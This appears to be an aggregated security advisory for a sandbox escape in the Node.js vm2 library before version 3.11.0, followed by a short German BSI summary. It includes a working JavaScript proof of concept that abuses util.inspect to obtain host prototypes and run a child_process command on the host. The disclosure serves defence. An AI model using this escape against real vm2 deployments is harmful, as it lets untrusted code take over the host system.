vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.

GHSA-qcp4-v2jj-fjx8 — vm2 has a Sandbox Escape Vulnerability

2026-10-03T11:21:50.409429+00:00

Affected: npm: vm2

### Summary

It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes

### Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

### PoC ```js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', };

let sym;

obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1];

if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, });

obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('child_process') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, };

WebAssembly.compileStreaming(obj).catch(() => {}); ```

WID-SEC-W-2026-1349 — vm2: Mehrere Schwachstellen

2026-10-03T11:21:50.409524+00:00

Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.
